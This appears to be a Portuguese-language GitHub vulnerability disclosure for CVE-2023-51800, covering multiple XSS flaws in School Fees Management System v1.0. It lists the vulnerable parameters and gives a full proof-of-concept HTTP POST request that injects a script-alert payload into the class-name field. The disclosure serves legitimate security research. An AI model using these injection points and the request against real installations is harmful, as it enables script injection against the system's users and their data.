geraldoalcantara/cve-2023-51800Múltiplas vulnerabilidades de cross-site scripting (XSS) no School Fees Management System v1.0.
Descrição: Múltiplas vulnerabilidades de script entre sites (XSS) no Sistema de Gerenciamento de Taxas Escolares v1.0.
Versão do Produto Vulnerável: Sistema de Gerenciamento de Taxas Escolares v1.0
Autor do CVE: Geraldo Alcântara
Data: 28/11/2023
Confirmado em: 10/12/2023
CVE: CVE-2023-51800
Link CVE: https://www.cve.org/CVERecord?id=CVE-2023-51800
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-51800
Link Tenable: https://www.tenable.com/cve/CVE-2023-51800
Testado em: Windows
Para explorar a vulnerabilidade, um usuário autenticado com as permissões necessárias precisa navegar para qualquer uma das páginas afetadas e injetar uma carga maliciosa em um dos campos suscetíveis.
Componentes Afetados:
main_settings - parâmetros phone, address, bank, acc_name, acc_number, new_class - parâmetro cname, add_new_parent - parâmetros name, email, new_term - parâmetro tname, edit_student - parâmetro name
Request:
POST /ci_fms/admin/action/new_class HTTP/1.1
Host: 192.168.68.148
Content-Length: 273
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbJT9XS9eFLU53MR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/ci_fms/admin/management/class
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ci_session=gdoj5tr7rsf7ci5o9rpr0rh5eni2r6an
Connection: close
------WebKitFormBoundaryAbJT9XS9eFLU53MR
Content-Disposition: form-data; name="cname"
<script>alert(document.domain)</script>
------WebKitFormBoundaryAbJT9XS9eFLU53MR
Content-Disposition: form-data; name="cfees"
12,000
------WebKitFormBoundaryAbJT9XS9eFLU53MR--
Descobridor(es)/Créditos:
Geraldo Alcântara